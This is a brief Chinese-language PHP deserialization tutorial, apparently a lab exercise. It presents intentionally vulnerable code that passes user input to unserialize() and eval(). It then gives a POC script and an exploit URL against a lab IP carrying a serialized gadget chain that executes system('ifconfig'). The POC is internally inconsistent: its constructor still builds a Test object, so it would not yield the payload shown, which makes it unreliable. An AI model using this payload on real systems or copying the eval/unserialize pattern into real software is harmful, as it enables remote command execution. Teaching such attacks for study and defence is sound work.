存在反序列化漏洞的代码
class Woniu {var $a;function __construct() {$this->a = new Test();}function __destruct() {$this->a->hello();}
}class Test {function hello() {echo "Hello World.";}
}class Vul {var $data;function hello() {@eval($this->data);}
}unserialize($_GET['code']);
准备POC代码
分析上述代码,其中Test类为干扰类,完全不需要考虑他,只需要考虑Woniu类与Vul类
目标明确一下 就是Woniu类调用Vul类 Vul类调用hello函数 hello函数使用$data数据完成漏洞利用
class Woniu {var $a;function __construct() {$this->a = new Test();}
}
class Vul {var $data = "system('ifconfig');";
}
echo serialize(new Woniu());
漏洞利用
http://192.168.88.66/fanyun/woniu.php?code=O:5:"Woniu":1:{s:1:"a";O:3:"Vul":1:{s:4:"data";s:19:"system('ifconfig');";}}